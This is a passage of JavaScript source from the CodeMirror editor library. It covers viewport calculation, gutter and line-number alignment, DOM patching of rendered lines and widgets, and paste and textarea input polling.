    // Ensure is a {from: {line, ch}, to: {line, ch}} object, and
    // forces those lines into the viewport (if possible).
    if (viewport && viewport.ensure) {
      var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;
      if (ensureFrom < from) {
        from = ensureFrom;
        to = lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight);
      } else if (Math.min(ensureTo, doc.lastLine()) >= to) {
        from = lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight);
        to = ensureTo;
      }
    }
    return {from: from, to: Math.max(to, from + 1)};
  }

  // LINE NUMBERS

  // Re-align line numbers and gutter marks to compensate for
  // horizontal scrolling.
  function alignHorizontally(cm) {
    var display = cm.display, view = display.view;
    if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return;
    var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;
    var gutterW = display.gutters.offsetWidth, left = comp + "px";
    for (var i = 0; i < view.length; i++) if (!view[i].hidden) {
      if (cm.options.fixedGutter && view[i].gutter)
        view[i].gutter.style.left = left;
      var align = view[i].alignable;
      if (align) for (var j = 0; j < align.length; j++)
        align[j].style.left = left;
    }
    if (cm.options.fixedGutter)
      display.gutters.style.left = (comp + gutterW) + "px";
  }

  // Used to ensure that the line number gutter is still the right
  // size for the current document size. Returns true when an update
  // is needed.
  function maybeUpdateLineNumberWidth(cm) {
    if (!cm.options.lineNumbers) return false;
    var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;
    if (last.length != display.lineNumChars) {
      var test = display.measure.appendChild(elt("div", [elt("div", last)],
                                                 "CodeMirror-linenumber CodeMirror-gutter-elt"));
      var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;
      display.lineGutter.style.width = "";
      display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding) + 1;
      display.lineNumWidth = display.lineNumInnerWidth + padding;
      display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;
      display.lineGutter.style.width = display.lineNumWidth + "px";
      updateGutterSpace(cm);
      return true;
    }
    return false;
  }

  function lineNumberFor(options, i) {
    return String(options.lineNumberFormatter(i + options.firstLineNumber));
  }

  // Computes display.scroller.scrollLeft + display.gutters.offsetWidth,
  // but using getBoundingClientRect to get a sub-pixel-accurate
  // result.
  function compensateForHScroll(display) {
    return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left;
  }

  // DISPLAY DRAWING

  function DisplayUpdate(cm, viewport, force) {
    var display = cm.display;

    this.viewport = viewport;
    // Store some values that we'll need later (but don't want to force a relayout for)
    this.visible = visibleLines(display, cm.doc, viewport);
    this.editorIsHidden = !display.wrapper.offsetWidth;
    this.wrapperHeight = display.wrapper.clientHeight;
    this.wrapperWidth = display.wrapper.clientWidth;
    this.oldDisplayWidth = displayWidth(cm);
    this.force = force;
    this.dims = getDimensions(cm);
    this.events = [];
  }

  DisplayUpdate.prototype.signal = function(emitter, type) {
    if (hasHandler(emitter, type))
      this.events.push(arguments);
  };
  DisplayUpdate.prototype.finish = function() {
    for (var i = 0; i < this.events.length; i++)
      signal.apply(null, this.events[i]);
  };

  function maybeClipScrollbars(cm) {
    var display = cm.display;
    if (!display.scrollbarsClipped && display.scroller.offsetWidth) {
      display.nativeBarWidth = display.scroller.offsetWidth - display.scroller.clientWidth;
      display.heightForcer.style.height = scrollGap(cm) + "px";
      display.sizer.style.marginBottom = -display.nativeBarWidth + "px";
      display.sizer.style.borderRightWidth = scrollGap(cm) + "px";
      display.scrollbarsClipped = true;
    }
  }

  // Does the actual updating of the line display. Bails out
  // (returning false) when there is nothing to be done and forced is
  // false.
  function updateDisplayIfNeeded(cm, update) {
    var display = cm.display, doc = cm.doc;

    if (update.editorIsHidden) {
      resetView(cm);
      return false;
    }

    // Bail out if the visible area is already rendered and nothing changed.
    if (!update.force &&
        update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&
        display.renderedView == display.view && countDirtyView(cm) == 0)
      return false;

    if (maybeUpdateLineNumberWidth(cm)) {
      resetView(cm);
      update.dims = getDimensions(cm);
    }

    // Compute a suitable new viewport (from & to)
    var end = doc.first + doc.size;
    var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);
    var to = Math.min(end, update.visible.to + cm.options.viewportMargin);
    if (display.viewFrom < from && from - display.viewFrom < 20) from = Math.max(doc.first, display.viewFrom);
    if (display.viewTo > to && display.viewTo - to < 20) to = Math.min(end, display.viewTo);
    if (sawCollapsedSpans) {
      from = visualLineNo(cm.doc, from);
      to = visualLineEndNo(cm.doc, to);
    }

    var different = from != display.viewFrom || to != display.viewTo ||
      display.lastWrapHeight != update.wrapperHeight || display.lastWrapWidth != update.wrapperWidth;
    adjustView(cm, from, to);

    display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));
    // Position the mover div to align with the current scroll position
    cm.display.mover.style.top = display.viewOffset + "px";

    var toUpdate = countDirtyView(cm);
    if (!different && toUpdate == 0 && !update.force && display.renderedView == display.view &&
        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))
      return false;

    // For big changes, we hide the enclosing element during the
    // update, since that speeds up the operations on most browsers.
    var focused = activeElt();
    if (toUpdate > 4) display.lineDiv.style.display = "none";
    patchDisplay(cm, display.updateLineNumbers, update.dims);
    if (toUpdate > 4) display.lineDiv.style.display = "";
    display.renderedView = display.view;
    // There might have been a widget with a focused element that got
    // hidden or updated, if so re-focus it.
    if (focused && activeElt() != focused && focused.offsetHeight) focused.focus();

    // Prevent selection and cursors from interfering with the scroll
    // width and height.
    removeChildren(display.cursorDiv);
    removeChildren(display.selectionDiv);
    display.gutters.style.height = display.sizer.style.minHeight = 0;

    if (different) {
      display.lastWrapHeight = update.wrapperHeight;
      display.lastWrapWidth = update.wrapperWidth;
      startWorker(cm, 400);
    }

    display.updateLineNumbers = null;

    return true;
  }

  function postUpdateDisplay(cm, update) {
    var viewport = update.viewport;
    for (var first = true;; first = false) {
      if (!first || !cm.options.lineWrapping || update.oldDisplayWidth == displayWidth(cm)) {
        // Clip forced viewport to actual scrollable area.
        if (viewport && viewport.top != null)
          viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - displayHeight(cm), viewport.top)};
        // Updated line heights might result in the drawn area not
        // actually covering the viewport. Keep looping until it does.
        update.visible = visibleLines(cm.display, cm.doc, viewport);
        if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)
          break;
      }
      if (!updateDisplayIfNeeded(cm, update)) break;
      updateHeightsInViewport(cm);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      setDocumentHeight(cm, barMeasure);
      updateScrollbars(cm, barMeasure);
    }

    update.signal(cm, "update", cm);
    if (cm.display.viewFrom != cm.display.reportedViewFrom || cm.display.viewTo != cm.display.reportedViewTo) {
      update.signal(cm, "viewportChange", cm, cm.display.viewFrom, cm.display.viewTo);
      cm.display.reportedViewFrom = cm.display.viewFrom; cm.display.reportedViewTo = cm.display.viewTo;
    }
  }

  function updateDisplaySimple(cm, viewport) {
    var update = new DisplayUpdate(cm, viewport);
    if (updateDisplayIfNeeded(cm, update)) {
      updateHeightsInViewport(cm);
      postUpdateDisplay(cm, update);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      setDocumentHeight(cm, barMeasure);
      updateScrollbars(cm, barMeasure);
      update.finish();
    }
  }

  function setDocumentHeight(cm, measure) {
    cm.display.sizer.style.minHeight = measure.docHeight + "px";
    var total = measure.docHeight + cm.display.barHeight;
    cm.display.heightForcer.style.top = total + "px";
    cm.display.gutters.style.height = Math.max(total + scrollGap(cm), measure.clientHeight) + "px";
  }

  // Read the actual heights of the rendered lines, and update their
  // stored heights to match.
  function updateHeightsInViewport(cm) {
    var display = cm.display;
    var prevBottom = display.lineDiv.offsetTop;
    for (var i = 0; i < display.view.length; i++) {
      var cur = display.view[i], height;
      if (cur.hidden) continue;
      if (ie && ie_version < 8) {
        var bot = cur.node.offsetTop + cur.node.offsetHeight;
        height = bot - prevBottom;
        prevBottom = bot;
      } else {
        var box = cur.node.getBoundingClientRect();
        height = box.bottom - box.top;
      }
      var diff = cur.line.height - height;
      if (height < 2) height = textHeight(display);
      if (diff > .001 || diff < -.001) {
        updateLineHeight(cur.line, height);
        updateWidgetHeight(cur.line);
        if (cur.rest) for (var j = 0; j < cur.rest.length; j++)
          updateWidgetHeight(cur.rest[j]);
      }
    }
  }

  // Read and store the height of line widgets associated with the
  // given line.
  function updateWidgetHeight(line) {
    if (line.widgets) for (var i = 0; i < line.widgets.length; ++i)
      line.widgets[i].height = line.widgets[i].node.offsetHeight;
  }

  // Do a bulk-read of the DOM positions and sizes needed to draw the
  // view, so that we don't interleave reading and writing to the DOM.
  function getDimensions(cm) {
    var d = cm.display, left = {}, width = {};
    var gutterLeft = d.gutters.clientLeft;
    for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {
      left[cm.options.gutters[i]] = n.offsetLeft + n.clientLeft + gutterLeft;
      width[cm.options.gutters[i]] = n.clientWidth;
    }
    return {fixedPos: compensateForHScroll(d),
            gutterTotalWidth: d.gutters.offsetWidth,
            gutterLeft: left,
            gutterWidth: width,
            wrapperWidth: d.wrapper.clientWidth};
  }

  // Sync the actual display DOM structure with display.view, removing
  // nodes for lines that are no longer in view, and creating the ones
  // that are not there yet, and updating the ones that are out of
  // date.
  function patchDisplay(cm, updateNumbersFrom, dims) {
    var display = cm.display, lineNumbers = cm.options.lineNumbers;
    var container = display.lineDiv, cur = container.firstChild;

    function rm(node) {
      var next = node.nextSibling;
      // Works around a throw-scroll bug in OS X Webkit
      if (webkit && mac && cm.display.currentWheelTarget == node)
        node.style.display = "none";
      else
        node.parentNode.removeChild(node);
      return next;
    }

    var view = display.view, lineN = display.viewFrom;
    // Loop over the elements in the view, syncing cur (the DOM nodes
    // in display.lineDiv) with the view as we go.
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (lineView.hidden) {
      } else if (!lineView.node || lineView.node.parentNode != container) { // Not drawn yet
        var node = buildLineElement(cm, lineView, lineN, dims);
        container.insertBefore(node, cur);
      } else { // Already drawn
        while (cur != lineView.node) cur = rm(cur);
        var updateNumber = lineNumbers && updateNumbersFrom != null &&
          updateNumbersFrom <= lineN && lineView.lineNumber;
        if (lineView.changes) {
          if (indexOf(lineView.changes, "gutter") > -1) updateNumber = false;
          updateLineForChanges(cm, lineView, lineN, dims);
        }
        if (updateNumber) {
          removeChildren(lineView.lineNumber);
          lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));
        }
        cur = lineView.node.nextSibling;
      }
      lineN += lineView.size;
    }
    while (cur) cur = rm(cur);
  }

  // When an aspect of a line changes, a string is added to
  // lineView.changes. This updates the relevant part of the line's
  // DOM structure.
  function updateLineForChanges(cm, lineView, lineN, dims) {
    for (var j = 0; j < lineView.changes.length; j++) {
      var type = lineView.changes[j];
      if (type == "text") updateLineText(cm, lineView);
      else if (type == "gutter") updateLineGutter(cm, lineView, lineN, dims);
      else if (type == "class") updateLineClasses(lineView);
      else if (type == "widget") updateLineWidgets(cm, lineView, dims);
    }
    lineView.changes = null;
  }

  // Lines with gutter elements, widgets or a background class need to
  // be wrapped, and have the extra elements added to the wrapper div
  function ensureLineWrapped(lineView) {
    if (lineView.node == lineView.text) {
      lineView.node = elt("div", null, null, "position: relative");
      if (lineView.text.parentNode)
        lineView.text.parentNode.replaceChild(lineView.node, lineView.text);
      lineView.node.appendChild(lineView.text);
      if (ie && ie_version < 8) lineView.node.style.zIndex = 2;
    }
    return lineView.node;
  }

  function updateLineBackground(lineView) {
    var cls = lineView.bgClass ? lineView.bgClass + " " + (lineView.line.bgClass || "") : lineView.line.bgClass;
    if (cls) cls += " CodeMirror-linebackground";
    if (lineView.background) {
      if (cls) lineView.background.className = cls;
      else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }
    } else if (cls) {
      var wrap = ensureLineWrapped(lineView);
      lineView.background = wrap.insertBefore(elt("div", null, cls), wrap.firstChild);
    }
  }

  // Wrapper around buildLineContent which will reuse the structure
  // in display.externalMeasured when possible.
  function getLineContent(cm, lineView) {
    var ext = cm.display.externalMeasured;
    if (ext && ext.line == lineView.line) {
      cm.display.externalMeasured = null;
      lineView.measure = ext.measure;
      return ext.built;
    }
    return buildLineContent(cm, lineView);
  }

  // Redraw the line's text. Interacts with the background and text
  // classes because the mode may output tokens that influence these
  // classes.
  function updateLineText(cm, lineView) {
    var cls = lineView.text.className;
    var built = getLineContent(cm, lineView);
    if (lineView.text == lineView.node) lineView.node = built.pre;
    lineView.text.parentNode.replaceChild(built.pre, lineView.text);
    lineView.text = built.pre;
    if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {
      lineView.bgClass = built.bgClass;
      lineView.textClass = built.textClass;
      updateLineClasses(lineView);
    } else if (cls) {
      lineView.text.className = cls;
    }
  }

  function updateLineClasses(lineView) {
    updateLineBackground(lineView);
    if (lineView.line.wrapClass)
      ensureLineWrapped(lineView).className = lineView.line.wrapClass;
    else if (lineView.node != lineView.text)
      lineView.node.className = "";
    var textClass = lineView.textClass ? lineView.textClass + " " + (lineView.line.textClass || "") : lineView.line.textClass;
    lineView.text.className = textClass || "";
  }

  function updateLineGutter(cm, lineView, lineN, dims) {
    if (lineView.gutter) {
      lineView.node.removeChild(lineView.gutter);
      lineView.gutter = null;
    }
    if (lineView.gutterBackground) {
      lineView.node.removeChild(lineView.gutterBackground);
      lineView.gutterBackground = null;
    }
    if (lineView.line.gutterClass) {
      var wrap = ensureLineWrapped(lineView);
      lineView.gutterBackground = elt("div", null, "CodeMirror-gutter-background " + lineView.line.gutterClass,
                                      "left: " + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) +
                                      "px; width: " + dims.gutterTotalWidth + "px");
      wrap.insertBefore(lineView.gutterBackground, lineView.text);
    }
    var markers = lineView.line.gutterMarkers;
    if (cm.options.lineNumbers || markers) {
      var wrap = ensureLineWrapped(lineView);
      var gutterWrap = lineView.gutter = elt("div", null, "CodeMirror-gutter-wrapper", "left: " +
                                             (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px");
      cm.display.input.setUneditable(gutterWrap);
      wrap.insertBefore(gutterWrap, lineView.text);
      if (lineView.line.gutterClass)
        gutterWrap.className += " " + lineView.line.gutterClass;
      if (cm.options.lineNumbers && (!markers || !markers["CodeMirror-linenumbers"]))
        lineView.lineNumber = gutterWrap.appendChild(
          elt("div", lineNumberFor(cm.options, lineN),
              "CodeMirror-linenumber CodeMirror-gutter-elt",
              "left: " + dims.gutterLeft["CodeMirror-linenumbers"] + "px; width: "
              + cm.display.lineNumInnerWidth + "px"));
      if (markers) for (var k = 0; k < cm.options.gutters.length; ++k) {
        var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id];
        if (found)
          gutterWrap.appendChild(elt("div", [found], "CodeMirror-gutter-elt", "left: " +
                                     dims.gutterLeft[id] + "px; width: " + dims.gutterWidth[id] + "px"));
      }
    }
  }

  function updateLineWidgets(cm, lineView, dims) {
    if (lineView.alignable) lineView.alignable = null;
    for (var node = lineView.node.firstChild, next; node; node = next) {
      var next = node.nextSibling;
      if (node.className == "CodeMirror-linewidget")
        lineView.node.removeChild(node);
    }
    insertLineWidgets(cm, lineView, dims);
  }

  // Build a line's DOM representation from scratch
  function buildLineElement(cm, lineView, lineN, dims) {
    var built = getLineContent(cm, lineView);
    lineView.text = lineView.node = built.pre;
    if (built.bgClass) lineView.bgClass = built.bgClass;
    if (built.textClass) lineView.textClass = built.textClass;

    updateLineClasses(lineView);
    updateLineGutter(cm, lineView, lineN, dims);
    insertLineWidgets(cm, lineView, dims);
    return lineView.node;
  }

  // A lineView may contain multiple logical lines (when merged by
  // collapsed spans). The widgets for all of them need to be drawn.
  function insertLineWidgets(cm, lineView, dims) {
    insertLineWidgetsFor(cm, lineView.line, lineView, dims, true);
    if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
      insertLineWidgetsFor(cm, lineView.rest[i], lineView, dims, false);
  }

  function insertLineWidgetsFor(cm, line, lineView, dims, allowAbove) {
    if (!line.widgets) return;
    var wrap = ensureLineWrapped(lineView);
    for (var i = 0, ws = line.widgets; i < ws.length; ++i) {
      var widget = ws[i], node = elt("div", [widget.node], "CodeMirror-linewidget");
      if (!widget.handleMouseEvents) node.setAttribute("cm-ignore-events", "true");
      positionLineWidget(widget, node, lineView, dims);
      cm.display.input.setUneditable(node);
      if (allowAbove && widget.above)
        wrap.insertBefore(node, lineView.gutter || lineView.text);
      else
        wrap.appendChild(node);
      signalLater(widget, "redraw");
    }
  }

  function positionLineWidget(widget, node, lineView, dims) {
    if (widget.noHScroll) {
      (lineView.alignable || (lineView.alignable = [])).push(node);
      var width = dims.wrapperWidth;
      node.style.left = dims.fixedPos + "px";
      if (!widget.coverGutter) {
        width -= dims.gutterTotalWidth;
        node.style.paddingLeft = dims.gutterTotalWidth + "px";
      }
      node.style.width = width + "px";
    }
    if (widget.coverGutter) {
      node.style.zIndex = 5;
      node.style.position = "relative";
      if (!widget.noHScroll) node.style.marginLeft = -dims.gutterTotalWidth + "px";
    }
  }

  // POSITION OBJECT

  // A Pos instance represents a position within the text.
  var Pos = CodeMirror.Pos = function(line, ch) {
    if (!(this instanceof Pos)) return new Pos(line, ch);
    this.line = line; this.ch = ch;
  };

  // Compare two positions, return 0 if they are the same, a negative
  // number when a is less, and a positive number otherwise.
  var cmp = CodeMirror.cmpPos = function(a, b) { return a.line - b.line || a.ch - b.ch; };

  function copyPos(x) {return Pos(x.line, x.ch);}
  function maxPos(a, b) { return cmp(a, b) < 0 ? b : a; }
  function minPos(a, b) { return cmp(a, b) < 0 ? a : b; }

  // INPUT HANDLING

  function ensureFocus(cm) {
    if (!cm.state.focused) { cm.display.input.focus(); onFocus(cm); }
  }

  function isReadOnly(cm) {
    return cm.options.readOnly || cm.doc.cantEdit;
  }

  // This will be set to an array of strings when copying, so that,
  // when pasting, we know what kind of selections the copied text
  // was made out of.
  var lastCopied = null;

  function applyTextInput(cm, inserted, deleted, sel, origin) {
    var doc = cm.doc;
    cm.display.shift = false;
    if (!sel) sel = doc.sel;

    var paste = cm.state.pasteIncoming || origin == "paste";
    var textLines = doc.splitLines(inserted), multiPaste = null;
    // When pasing N lines into N selections, insert one line per selection
    if (paste && sel.ranges.length > 1) {
      if (lastCopied && lastCopied.join("\n") == inserted) {
        if (sel.ranges.length % lastCopied.length == 0) {
          multiPaste = [];
          for (var i = 0; i < lastCopied.length; i++)
            multiPaste.push(doc.splitLines(lastCopied[i]));
        }
      } else if (textLines.length == sel.ranges.length) {
        multiPaste = map(textLines, function(l) { return [l]; });
      }
    }

    // Normal behavior is to insert the new text into every selection
    for (var i = sel.ranges.length - 1; i >= 0; i--) {
      var range = sel.ranges[i];
      var from = range.from(), to = range.to();
      if (range.empty()) {
        if (deleted && deleted > 0) // Handle deletion
          from = Pos(from.line, from.ch - deleted);
        else if (cm.state.overwrite && !paste) // Handle overwrite
          to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length));
      }
      var updateInput = cm.curOp.updateInput;
      var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i % multiPaste.length] : textLines,
                         origin: origin || (paste ? "paste" : cm.state.cutIncoming ? "cut" : "+input")};
      makeChange(cm.doc, changeEvent);
      signalLater(cm, "inputRead", cm, changeEvent);
    }
    if (inserted && !paste)
      triggerElectric(cm, inserted);

    ensureCursorVisible(cm);
    cm.curOp.updateInput = updateInput;
    cm.curOp.typing = true;
    cm.state.pasteIncoming = cm.state.cutIncoming = false;
  }

  function handlePaste(e, cm) {
    var pasted = e.clipboardData && e.clipboardData.getData("text/plain");
    if (pasted) {
      e.preventDefault();
      if (!isReadOnly(cm) && !cm.options.disableInput)
        runInOp(cm, function() { applyTextInput(cm, pasted, 0, null, "paste"); });
      return true;
    }
  }

  function triggerElectric(cm, inserted) {
    // When an 'electric' character is inserted, immediately trigger a reindent
    if (!cm.options.electricChars || !cm.options.smartIndent) return;
    var sel = cm.doc.sel;

    for (var i = sel.ranges.length - 1; i >= 0; i--) {
      var range = sel.ranges[i];
      if (range.head.ch > 100 || (i && sel.ranges[i - 1].head.line == range.head.line)) continue;
      var mode = cm.getModeAt(range.head);
      var indented = false;
      if (mode.electricChars) {
        for (var j = 0; j < mode.electricChars.length; j++)
          if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {
            indented = indentLine(cm, range.head.line, "smart");
            break;
          }
      } else if (mode.electricInput) {
        if (mode.electricInput.test(getLine(cm.doc, range.head.line).text.slice(0, range.head.ch)))
          indented = indentLine(cm, range.head.line, "smart");
      }
      if (indented) signalLater(cm, "electricInput", cm, range.head.line);
    }
  }

  function copyableRanges(cm) {
    var text = [], ranges = [];
    for (var i = 0; i < cm.doc.sel.ranges.length; i++) {
      var line = cm.doc.sel.ranges[i].head.line;
      var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};
      ranges.push(lineRange);
      text.push(cm.getRange(lineRange.anchor, lineRange.head));
    }
    return {text: text, ranges: ranges};
  }

  function disableBrowserMagic(field) {
    field.setAttribute("autocorrect", "off");
    field.setAttribute("autocapitalize", "off");
    field.setAttribute("spellcheck", "false");
  }

  // TEXTAREA INPUT STYLE

  function TextareaInput(cm) {
    this.cm = cm;
    // See input.poll and input.reset
    this.prevInput = "";

    // Flag that indicates whether we expect input to appear real soon
    // now (after some event like 'keypress' or 'input') and are
    // polling intensively.
    this.pollingFast = false;
    // Self-resetting timeout for the poller
    this.polling = new Delayed();
    // Tracks when input.reset has punted to just putting a short
    // string into the textarea instead of the full selection.
    this.inaccurateSelection = false;
    // Used to work around IE issue with selection being forgotten when focus moves away from textarea
    this.hasSelection = false;
    this.composing = null;
  };

  function hiddenTextarea() {
    var te = elt("textarea", null, null, "position: absolute; padding: 0; width: 1px; height: 1em; outline: none");
    var div = elt("div", [te], null, "overflow: hidden; position: relative; width: 3px; height: 0px;");
    // The textarea is kept positioned near the cursor to prevent the
    // fact that it'll be scrolled into view on input from scrolling
    // our fake cursor out of view. On webkit, when wrap=off, paste is
    // very slow. So make the area wide instead.
    if (webkit) te.style.width = "1000px";
    else te.setAttribute("wrap", "off");
    // If border: 0; -- iOS fails to open keyboard (issue #1287)
    if (ios) te.style.border = "1px solid black";
    disableBrowserMagic(te);
    return div;
  }

  TextareaInput.prototype = copyObj({
    init: function(display) {
      var input = this, cm = this.cm;

      // Wraps and hides input textarea
      var div = this.wrapper = hiddenTextarea();
      // The semihidden textarea that is focused when the editor is
      // focused, and receives input.
      var te = this.textarea = div.firstChild;
      display.wrapper.insertBefore(div, display.wrapper.firstChild);

      // Needed to hide big blue blinking cursor on Mobile Safari (doesn't seem to work in iOS 8 anymore)
      if (ios) te.style.width = "0px";

      on(te, "input", function() {
        if (ie && ie_version >= 9 && input.hasSelection) input.hasSelection = null;
        input.poll();
      });

      on(te, "paste", function(e) {
        if (handlePaste(e, cm)) return true;

        cm.state.pasteIncoming = true;
        input.fastPoll();
      });

      function prepareCopyCut(e) {
        if (cm.somethingSelected()) {
          lastCopied = cm.getSelections();
          if (input.inaccurateSelection) {
            input.prevInput = "";
            input.inaccurateSelection = false;
            te.value = lastCopied.join("\n");
            selectInput(te);
          }
        } else if (!cm.options.lineWiseCopyCut) {
          return;
        } else {
          var ranges = copyableRanges(cm);
          lastCopied = ranges.text;
          if (e.type == "cut") {
            cm.setSelections(ranges.ranges, null, sel_dontScroll);
          } else {
            input.prevInput = "";
            te.value = ranges.text.join("\n");
            selectInput(te);
          }
        }
        if (e.type == "cut") cm.state.cutIncoming = true;
      }
      on(te, "cut", prepareCopyCut);
      on(te, "copy", prepareCopyCut);

      on(display.scroller, "paste", function(e) {
        if (eventInWidget(display, e)) return;
        cm.state.pasteIncoming = true;
        input.focus();
      });

      // Prevent normal selection in the editor (we handle our own)
      on(display.lineSpace, "selectstart", function(e) {
        if (!eventInWidget(display, e)) e_preventDefault(e);
      });

      on(te, "compositionstart", function() {
        var start = cm.getCursor("from");
        if (input.composing) input.composing.range.clear()
        input.composing = {
          start: start,
          range: cm.markText(start, cm.getCursor("to"), {className: "CodeMirror-composing"})
        };
      });
      on(te, "compositionend", function() {
        if (input.composing) {
          input.poll();
          input.composing.range.clear();
          input.composing = null;
        }
      });
    },

    prepareSelection: function() {
      // Redraw the selection and/or cursor
      var cm = this.cm, display = cm.display, doc = cm.doc;
      var result = prepareSelection(cm);

      // Move the hidden textarea near the cursor to prevent scrolling artifacts
      if (cm.options.moveInputWithCursor) {
        var headPos = cursorCoords(cm, doc.sel.primary().head, "div");
        var wrapOff = display.wrapper.getBoundingClientRect(), lineOff = display.lineDiv.getBoundingClientRect();
        result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight - 10,
                                            headPos.top + lineOff.top - wrapOff.top));
        result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth - 10,
                                             headPos.left + lineOff.left - wrapOff.left));
      }

      return result;
    },

    showSelection: function(drawn) {
      var cm = this.cm, display = cm.display;
      removeChildrenAndAdd(display.cursorDiv, drawn.cursors);
      removeChildrenAndAdd(display.selectionDiv, drawn.selection);
      if (drawn.teTop != null) {
        this.wrapper.style.top = drawn.teTop + "px";
        this.wrapper.style.left = drawn.teLeft + "px";
      }
    },

    // Reset the input to correspond to the selection (or to be empty,
    // when not typing and nothing is selected)
    reset: function(typing) {
      if (this.contextMenuPending) return;
      var minimal, selected, cm = this.cm, doc = cm.doc;
      if (cm.somethingSelected()) {
        this.prevInput = "";
        var range = doc.sel.primary();
        minimal = hasCopyEvent &&
          (range.to().line - range.from().line > 100 || (selected = cm.getSelection()).length > 1000);
        var content = minimal ? "-" : selected || cm.getSelection();
        this.textarea.value = content;
        if (cm.state.focused) selectInput(this.textarea);
        if (ie && ie_version >= 9) this.hasSelection = content;
      } else if (!typing) {
        this.prevInput = this.textarea.value = "";
        if (ie && ie_version >= 9) this.hasSelection = null;
      }
      this.inaccurateSelection = minimal;
    },

    getField: function() { return this.textarea; },

    supportsTouch: function() { return false; },

    focus: function() {
      if (this.cm.options.readOnly != "nocursor" && (!mobile || activeElt() != this.textarea)) {
        try { this.textarea.focus(); }
        catch (e) {} // IE8 will throw if the textarea is display: none or not in DOM
      }
    },

    blur: function() { this.textarea.blur(); },

    resetPosition: function() {
      this.wrapper.style.top = this.wrapper.style.left = 0;
    },

    receivedFocus: function() { this.slowPoll(); },

    // Poll for input changes, using the normal rate of polling. This
    // runs as long as the editor is focused.
    slowPoll: function() {
      var input = this;
      if (input.pollingFast) return;
      input.polling.set(this.cm.options.pollInterval, function() {
        input.poll();
        if (input.cm.state.focused) input.slowPoll();
      });
    },

    // When an event has just come in that is likely to add or change
    // something in the input textarea, we poll faster, to ensure that
    // the change appears on the screen quickly.
    fastPoll: function() {
      var missed = false, input = this;
      input.pollingFast = true;
      function p() {
        var changed = input.poll();
        if (!changed && !missed) {missed = true; input.polling.set(60, p);}
        else {input.pollingFast = false; input.slowPoll();}
      }
      input.polling.set(20, p);
    },

    // Read input from the textarea, and update the document to match.
    // When something is selected, it is present in the textarea, and
    // selected (unless it is huge, in which case a placeholder is
    // used). When nothing is selected, the cursor sits after previously
    // seen text (can be empty), which is stored in prevInput (we must
    // not reset the textarea when typing, because that breaks IME).
    poll: function() {
      var cm = this.cm, input = this.textarea, prevInput = this.prevInput;
      // Since this is called a *lot*, try to bail out as cheaply as
      // possible when it is clear that nothing happened. hasSelection
      // will be the case when there is a lot of text in the textarea,
      // in which case reading its value would be expensive.
      if (this.contextMenuPending || !cm.state.focused ||
          (hasSelection(input) && !prevInput && !this.composing) ||
          isReadOnly(cm) || cm.options.disableInput || cm.state.keySeq)
        return false;

      var text = input.value;
      // If nothing changed, bail.
      if (text == prevInput && !cm.somethingSelected()) return false;
      // Work around nonsensical selection resetting in IE9/10, and
      // inexplicable appearance of private area unicode characters on
      // some key combos in Mac (#2689).
      if (ie && ie_version >= 9 && this.hasSelection === text ||
          mac && /[\uf700-\uf7ff]/.test(text)) {
        cm.display.input.reset();
        return false;
      }

      if (cm.doc.sel == cm.display.selForContextMenu) {
        var first = text.charCodeAt(0);
        if (first == 0x200b && !prevInput) prevInput = "\u200b";
        if (first == 0x21da) { this.reset(); return this.cm.execCommand("undo"); }
      }
      // Find the part of the input that is actually new
      var same = 0, l = Math.min(prevInput.length, text.length);
      while (same < l && prevInput.charCodeAt(same) == text.charCodeAt(same)) ++same;

      var self = this;
      runInOp(cm, function() {
        applyTextInput(cm, text.slice(same), prevInput.length - same,
                       null, self.composing ? "*compose" : null);

        // Don't leave long text in the textarea, since it makes further polling slow
        if (text.length > 1000 || text.indexOf("\n") > -1) input.value = self.prevInput = "";
        else self.prevInput = text;

        if (self.composing) {
          self.composing.range.clear();
          self.composing.range = cm.markText(self.composing.start, cm.getCursor("to"),
                                             {className: "CodeMirror-composing"});
        }
      });
      return true;
    },

    ensurePolled: function() {
      if (this.pollingFast && this.poll()) this.pollingFast = false;
    },

    onKeyPress: function() {
      if (ie && ie_version >= 9) this.hasSelection = null;
      this.fastPoll();
    },

    onContextMenu: function(e) {
      var input = this, cm = input.cm, display = cm.display, te = input.textarea;
      var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;
      if (!pos || presto) return; // Opera is difficult.

      // Reset the current text selection only if the click is done outside of the selection
      // and 'resetSelectionOnContextMenu' option is true.
      var reset = cm.options.resetSelectionOnContextMenu;
